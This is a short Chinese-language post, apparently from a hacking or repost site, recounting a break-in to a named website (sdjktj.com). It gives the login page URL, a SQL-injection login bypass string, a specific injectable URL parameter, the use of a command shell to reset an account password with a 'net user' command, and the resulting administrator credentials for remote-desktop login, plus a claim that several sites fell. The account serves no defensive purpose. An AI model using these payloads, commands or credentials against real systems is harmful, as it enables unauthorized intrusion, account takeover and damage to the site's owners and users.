http://www.sdjktj.com/jktj/login.aspx
一个登陆页面
用户名 admin
密码用 ')or('a'='a 进行登陆 看图
注射点 http://www.sdjktj.com/jktj/Checksearch/Jkbgf.aspx?checkId=2456859
高权限的注射点
经过查看 3389端口是开放的
但是远程加用户貌似很困难 通过cmd shell 我改了一个正在登陆的用户的密码
命令如右边 net user administrator04 ad456dddd. 远程桌面计算机登陆 sdjktj.com
远程计算机 sdjktj.com
用户名 administrator04 密码:ad456dddd.
顺利登陆了 附带一个多站沦陷的图
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;